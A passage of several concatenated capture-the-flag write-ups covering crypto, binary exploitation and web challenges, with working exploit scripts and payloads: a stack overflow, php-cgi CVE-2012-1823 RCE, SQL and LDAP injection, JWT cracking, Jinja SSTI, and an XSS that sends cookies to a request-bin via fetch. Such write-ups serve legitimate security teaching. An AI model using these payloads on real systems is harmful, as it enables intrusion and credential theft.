Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length.
Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode:
<div align=center> </div>
after encryption the ciphertext created is hexified and sent to the user.
So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext!
So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result:
```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable
def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
# all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = []
# the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:]
# the flagflag = [b'',b'', third_block]
# finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break
# decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block
print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag:
**Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad
***
# Binary Exploitation
**Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/)
## PancakesHow many flap-jacks are on your stack?
Connect with:\`nc jh2i.com 50021`
[pancakes](assets//executables//pancakes)
**Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`**
**Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes:
Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses:
<div align=center> </div>
The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that:
We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address:
The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts:
this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server:
```pythonfrom pwn import *import re
e = ELF('pancakes')addr = p64(e.symbols['secret_recipe'])
local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes')
s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()```
and in action:
***
# Web
## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions!
Connect here:\http://jh2i.com:50018
**`flag{weurkzerg_the_worst_kind_of_debug}`**
**Solution:** With the challenge we are given a url to a website:
The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site:
This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask).
Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`:
From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that:
```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);```
the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get:
The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag:
**Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/
## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website!
Connect here:\http://jh2i.com:50010
**`flag{lfi_just_needed_a_null_byte}`**
**Solution:** With the challenge we get a url for a website:
the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is:
`http://jh2i.com:50010/index.php?page=<resource>`
we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF:
> PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage
Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us:
index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` :
It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this.
In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte.
With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us:
We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php
## GI JoeThe real American hero!
Connect here:\http://jh2i.com:50008
**Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`**
**Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe:
From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server.
Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability).
In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get:
It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server.
let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is:
`curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"`
and by executing this command we get the flag:
**Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/
## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability.
Connect here:\http://jh2i.com:50024
**`flag{check_your_WAF_rules}`**
**Solution:** With the challenge we get a url to a website about waffles:
There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message:
This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit.
A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query:
`select * from product where name like '' limit 1`
this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic.
Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following:
Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5.
With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following:
It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following:
So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table:
`' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---`
the query executed will be:
`select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user`
this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin:
We can now login as admin and receive the flag:
**Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
## Lightweight Contact BookLookup the contact details of any of our employees!
Connect here:\http://jh2i.com:50019
**`flag{kids_please_sanitize_your_inputs}`**
**Solution:** We again receive a url to a website with the challenge which seems...empty
We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password:
We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following:
Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message:
by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`.
A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is:
`(name=*)([email protected])`
and only the employee(s) with this email will be displayed, trying that gives us:
and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter.
we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that:
```python import urllib.parse, urllib.requestfrom string import printable
password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ```
by running the script we get the password:
and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag:
**Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
## Template ShackCheck out the coolest web templates online!
Connect here:\http://jh2i.com:50023
**Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`**
**Solution:** With the challenge we get a url for a webpage about web templates:
By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server.
But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup:
>...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user
in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data.
Let's look at our token using a tool called jwt_tool (listed in the resources):
We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command:
`python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt`
By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is:
`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I`
and by changing the cookie stored for the website to this token we get signed in as admin:
Checking out the admin page we see that it uses the first template shown on the index page:
so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error:
After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get:
so now that we can use SSTI we can get RCE using the following payload:
`{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}`
I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory:
it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag:
**Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool |
## Challenge description:
The site [pasteurize.web.ctfcompetition.com](https://pasteurize.web.ctfcompetition.com/) had a simple form titled "create new paste":
Upon submission, I was redirected to a page with a hash/uid added to the original url and a paste had been created:
Since what I posted was reflected and there was an option `share with TJMike`, I was pretty sure this was an XSS challenge. Upon inspecting the html source, I discovered two things:
1. An html comment `` which not only ensured the XSS even more, but also hinted to `/source` url which revealed an express-js source code for the app:
```javascript const express = require('express'); const bodyParser = require('body-parser'); const utils = require('./utils'); const Recaptcha = require('express-recaptcha').RecaptchaV3; const uuidv4 = require('uuid').v4; const Datastore = require('@google-cloud/datastore').Datastore;
/* Just reCAPTCHA stuff. */ const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key'; const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key'; console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY); const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, { 'hl': 'en', callback: 'captcha_cb' });
/* Choo Choo! */ const app = express(); app.set('view engine', 'ejs'); app.set('strict routing', true); app.use(utils.domains_mw); app.use('/static', express.static('static', { etag: true, maxAge: 300 * 1000, }));
/* They say reCAPTCHA needs those. But does it? */ app.use(bodyParser.urlencoded({ extended: true }));
/* Just a datastore. I would be surprised if it's fragile. */ class Database { constructor() { this._db = new Datastore({ namespace: 'littlethings' }); } add_note(note_id, content) { const note = { note_id: note_id, owner: 'guest', content: content, public: 1, created: Date.now() } return this._db.save({ key: this._db.key(['Note', note_id]), data: note, excludeFromIndexes: ['content'] }); } async get_note(note_id) { const key = this._db.key(['Note', note_id]); let note; try { note = await this._db.get(key); } catch (e) { console.error(e); return null; } if (!note || note.length < 1) { return null; } note = note[0]; if (note === undefined || note.public !== 1) { return null; } return note; } }
const DB = new Database();
/* Who wants a slice? */ const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
/* o/ */ app.get('/', (req, res) => { res.render('index'); });
/* \o/ [x] */ app.post('/', async (req, res) => { const note = req.body.content; if (!note) { return res.status(500).send("Nothing to add"); } if (note.length > 2000) { res.status(500); return res.send("The note is too big"); }
const note_id = uuidv4(); try { const result = await DB.add_note(note_id, note); if (!result) { res.status(500); console.error(result); return res.send("Something went wrong..."); } } catch (err) { res.status(500); console.error(err); return res.send("Something went wrong..."); } await utils.sleep(500); return res.redirect(`/${note_id}`); });
/* Make sure to properly escape the note! */ app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => { const note_id = req.params.id; const note = await DB.get_note(note_id);
if (note == null) { return res.status(404).send("Paste not found or access has been denied."); }
const unsafe_content = note.content; const safe_content = escape_string(unsafe_content);
res.render('note_public', { content: safe_content, id: note_id, captcha: res.recaptcha }); });
/* Share your pastes with TJMike? */ app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => { const id = req.params.id;
/* No robots please! */ if (req.recaptcha.error) { console.error(req.recaptcha.error); return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`); }
/* Make TJMike visit the paste */ utils.visit(id, req);
res.redirect(`/${id}?msg=TJMike?+will+appreciate+your+paste+shortly.`); });
/* This is my source I was telling you about! */ app.get('/source', (req, res) => { res.set("Content-type", "text/plain; charset=utf-8"); res.sendFile(__filename); });
/* Let it begin! */ const PORT = process.env.PORT || 8080;
app.listen(PORT, () => { console.log(`App listening on port ${PORT}`); console.log('Press Ctrl+C to quit.'); });
module.exports = app; ```
2. The 'paste' is not reflected directly to the DOM but into a javascript string assigned to a `note` variable, which is later added to the DOM after sanitizing it with DOMpurify as in this snippet:
```javascript const note = "test"; const note_id = "c3beca3f-d2f3-4c25-964e-0052d96f3035"; const note_el = document.getElementById('note-content'); const note_url_el = document.getElementById('note-title'); const clean = DOMPurify.sanitize(note); note_el.innerHTML = clean; note_url_el.href = `/${note_id}`; note_url_el.innerHTML = `${note_id}`; ``` ## Quest (and the wrong rabbit-hole):
It was obvious I could not try something like `</script><script>alert(1)</script><script>` (to directly add another script tag) since the angle brackets were encoded in the backend by the `escape_string` function:
```javascript/* Who wants a slice? */const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');```
Also `"`(double quote) would be escaped as `\"`, so, there was no direct way to inject arbitrary javascript code.
So I tried the classic `<script>alert(1)</script>` payload just to see what went on. The DOMPurify actively removed it; fair enough, since it was a dangerous markup. I then tried a more safe html: `` which got that DOMPurify-pass. I then sent it to TJMike and got a new request into my request-bin, apparently they were using apple-webkit based browser:
```host: ...Accept: image/webp,image/apng,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, brCache-Control: no-cachePragma: no-cacheReferer: https://pasteurize.web.ctfcompetition.com/e50cc66b-a455-47f4-ffff-6e8ad80f369csec-ch-ua: sec-ch-ua-mobile: ?0Sec-Fetch-Dest: imageSec-Fetch-Mode: no-corsSec-Fetch-Site: cross-siteUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36Connection: keep-alive```
### The mXSS rabbit-hole:
I then checked the DOMPurify version used, which was `2.0.8` while the latest release was `2.0.12`. I then quickly assumed (which I probably shouldn't have :/): "Oh, It must be either a DOMPurify or a apple-webkit-specific bypass to get an mXSS executed" and thus entered the wrong rabbit hole of mXSS.
While I was trying to "master" a bunch of mXSS related articles, digging commits on DOMPurify repo and trying out payloads like `` with practically no progress, I noticed that the number of solves was steadily increasing. This made me rethink my approach: "Should not be that complex. Maybe I am going the wrong way?".
### It hit me:
I then decided looking at the `escape_string` function once more. It basically converted the input into a json string(all double quotes in the input would be escaped) and then removed the first & last characters(double quotes) from it. What can possibly go wrong here? since our input is ensured to be a string... right? And then it hit me!
I remembered this query-parsing behavior of express-js I learnt from [one of redpwnCTF 2020 challenges](https://github.com/csivitu/CTF-Write-ups/tree/master/redpwnCTF%202020/web/tux-fanpage). So, when you have multiple instances of same-named params like `param=a¶m=d`, express-js will automatically parse `param` as an array like `["a","d"]`(I later learnt the extended option in bodyParser confirmed the behavior as in:`app.use(bodyParser.urlencoded({extended: true}))`). I quickly intercepted the post request, changed the request-body to `content=;alert(1);&content=` and got back:
```javascriptconst note = "";alert(1);",""";```
So what happened was: `content` param was parsed as this array: `[";alert(1);",""]` which when jsonified remained the same and after removing first & last chars(square-brackets) became `";alert(1);",""` which got printed within the double-quotes. This was great, but there still was a parse-error in the script. I then tried commenting out the unwanted part(`",""";`) by sending `content=;alert(1);//&content=` via the post request-body which gave back:
```javascriptconst note = "";alert(1);//",""";```
And I successfuly got the alert popup and thus found the XSS vulnerability, it was only a matter of exploiting it now.
## Solution:
I made a post request with the request-body: `content=;fetch('https://my-request-bin-url/'%2bdocument.cookie);//&content=` which got redirected to `/34f99257-2915-4838-ffff-e21525fa5c05`. Then, I went to `https://pasteurize.web.ctfcompetition.com/34f99257-2915-4838-ffff-e21525fa5c05` and clicked on `share with TJMike` to XSS TJMike. I got a request with the stolen cookie `secret=CTF%7BExpress_t0_Tr0ubl3s%7D` into my request-bin. I thus got the flag after url-decoding the value in the cookie: `CTF{Express_t0_Tr0ubl3s}`. |
